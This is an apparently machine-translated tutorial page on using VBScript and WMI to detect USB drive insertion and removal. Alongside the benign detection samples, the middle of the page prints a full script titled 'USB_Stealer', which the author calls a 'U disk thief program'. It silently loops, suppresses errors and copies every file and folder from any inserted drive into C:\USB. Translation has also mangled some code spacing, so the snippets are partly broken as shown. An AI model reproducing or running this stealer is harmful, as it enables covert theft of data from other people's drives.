Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to use VBS to detect USB disk insertion and pop-up events

2025-03-31 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

This article mainly introduces how to use VBS to detect U disk insertion and pop events, the article is very detailed, has a certain reference value, interested friends must read it!

It can be said that the degree of mastery of WMI directly determines your VBS level. I have seen that the VBS version of the U disk thief program is widely circulated on the Internet, which is basically realized by infinite loops and has no technical content at all. The download address of the VBS version of the U disk thief program I wrote is given at the end of the article. Although there is an infinite loop with WMI, the efficiency is different.

You can do this using WMI's Win32_VolumeChangeEvent class. Here is the sample code

Const Configuration_Changed = 1

Const Device_Arrival = 2

Const Device_Removal = 3

Const Docking = 4

StrComputer = "."

Set objWMIService = GetObject ("winmgmts:" _

& "{impersonationLevel=impersonate}!\" _

& strComputer & "\ root\ cimv2")

Set colMonitoredEvents = objWMIService. _

ExecNotificationQuery (_

"Select * from Win32_VolumeChangeEvent")

Do

Set objLatestEvent = colMonitoredEvents.NextEvent

Select Case objLatestEvent.EventType

Case Device_Arrival

WScript.Echo "USB drive insert, drive letter is" & _

ObjLatestEvent.DriveName

Case Device_Removal

WScript.Echo "U disk pops up with a drive letter of" & _

ObjLatestEvent.DriveName

End Select

Loop

I also wrote a U disk thief program, which I think is better than the code copied around on the Internet. If you are interested, you can download it and have a look.

The code is as follows:

'= =

'Name: USB_Stealer

Date: 2010-5-25

'Author: Demon

'Copyright: Copyright (c) 2010 Demon

'E-Mail: still.demon@gmail.com

'QQ: 380401911

'Website: http://demon.tw

'= =

'Option Explicit

On Error Resume Next

Const Target_Folder = "C:\ USB"

Call Main ()

Sub Main ()

On Error Resume Next

Const Device_Arrival = 2

Const Device_Removal = 3

Const strComputer = "."

Dim objWMIService, colMonitoredEvents, objLatestEvent

Set objWMIService = GetObject ("winmgmts:" _

& "{impersonationLevel=impersonate}!\" _

& strComputer & "\ root\ cimv2")

Set colMonitoredEvents = objWMIService. _

ExecNotificationQuery (_

"Select * from Win32_VolumeChangeEvent")

Do

Set objLatestEvent = colMonitoredEvents.NextEvent

Select Case objLatestEvent.EventType

Case Device_Arrival

Copy_File objLatestEvent.DriveName

End Select

Loop

End Sub

Sub Copy_File (Folder_Path)

On Error Resume Next

Dim fso,file,folder

Set fso = CreateObject ("scripting.filesystemobject")

If Not fso.FolderExists (Target_Folder) Then

Fso.CreateFolder (Target_Folder)

End If

For Each file In fso.GetFolder (Folder_Path). Files

File.Copy Target_Folder & "\" & file.Name,True

Next

For Each folder In fso.GetFolder (Folder_Path). SubFolders

Folder.Copy Target_Folder & "\" & folder.Name,True

Next

End Sub

In view of the fact that many people reported that the previous article was invalid under XP, I made a revision. It is said that the modification is actually a direct copy and paste of the script expert's code.

The copy code is as follows:

StrComputer = "."

Set objWMIService = GetObject ("winmgmts:\\" & strComputer & "\ root\ cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _

("Select * From _ _ InstanceOperationEvent Within 10 Where" _

& "TargetInstance isa 'Win32_LogicalDisk'")

Do While True

Set objEvent = colEvents.NextEvent

If objEvent.TargetInstance.DriveType = 2 Then

Select Case objEvent.Path_.Class

Case "_ _ InstanceCreationEvent"

Wscript.Echo "Drive" & objEvent.TargetInstance.DeviceId & _

"has been added."

Case "_ _ InstanceDeletionEvent"

Wscript.Echo "Drive" & objEvent.TargetInstance.DeviceId & _

"has been removed."

End Select

End If

Loop

The above is all the contents of the article "how to use VBS to detect USB disk insertion and pop-up events". Thank you for reading! Hope to share the content to help you, more related knowledge, welcome to follow the industry information channel!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report